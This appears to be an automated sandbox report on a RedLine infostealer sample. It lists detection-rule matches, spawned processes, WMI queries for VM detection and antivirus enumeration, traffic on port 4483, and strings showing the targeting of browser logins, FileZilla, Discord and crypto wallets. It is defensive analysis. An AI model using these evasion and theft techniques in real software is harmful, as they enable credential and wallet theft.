Source: 0.0.SW3uxM7BXI.exe.3a0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.SW3uxM7BXI.exe.3a0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: SW3uxM7BXI.exe PID: 6840, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/59@5/5

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4584:120:WilError_03

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe

File created: C:\Users\user\AppData\Local\Temp\tmp9491.tmp

Jump to behavior

Source: SW3uxM7BXI.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SW3uxM7BXI.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmpC838.tmp.0.dr, tmpC827.tmp.0.dr, tmp9491.tmp.0.dr, tmpC7E7.tmp.0.dr, tmpC826.tmp.0.dr, tmpC839.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SW3uxM7BXI.exe	ReversingLabs: Detection: 86%
Source: SW3uxM7BXI.exe	Virustotal: Detection: 88%

Source: unknown	Process created: C:\Users\user\Desktop\SW3uxM7BXI.exe "C:\Users\user\Desktop\SW3uxM7BXI.exe"
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://%3cfnc1%3e(%08)192207080962112986271363245700090061668218406782359533476819003707/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,10893976321763395982,15945396058884010625,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,10893976321763395982,15945396058884010625,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: SW3uxM7BXI.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SW3uxM7BXI.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SW3uxM7BXI.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 4483
Source: unknown	Network traffic detected: HTTP traffic on port 4483 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 4483 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 4483
Source: unknown	Network traffic detected: HTTP traffic on port 4483 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 4483 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 4483
Source: unknown	Network traffic detected: HTTP traffic on port 4483 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 4483 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 4483
Source: unknown	Network traffic detected: HTTP traffic on port 4483 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 4483 -> 49751

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Memory allocated: CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Memory allocated: 2640000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Memory allocated: 4640000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Window / User API: threadDelayed 1372			Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Window / User API: threadDelayed 2622			Jump to behavior

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe TID: 8152	Thread sleep time: -12912720851596678s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe TID: 6384	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: SW3uxM7BXI.exe, 00000000.00000002.1766929810.00000000009C2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Users\user\Desktop\SW3uxM7BXI.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: SW3uxM7BXI.exe, 00000000.00000002.1772385911.0000000005EF2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: SW3uxM7BXI.exe, type: SAMPLE
Source: Yara match	File source: 0.0.SW3uxM7BXI.exe.3a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SW3uxM7BXI.exe PID: 6840, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SW3uxM7BXI.exe, 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: [^\u0020-\u007F]ProcessIdname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Storage\leveldb\tdataAtomicWalletv10/C \EtFile.IOhereuFile.IOm\walFile.IOletsESystem.UItherSystem.UIeumElectrum[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}profiles\Windows\valueexpiras21ation_moas21nth
Source: SW3uxM7BXI.exe, 00000000.00000002.1772500324.0000000005F5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\*RO
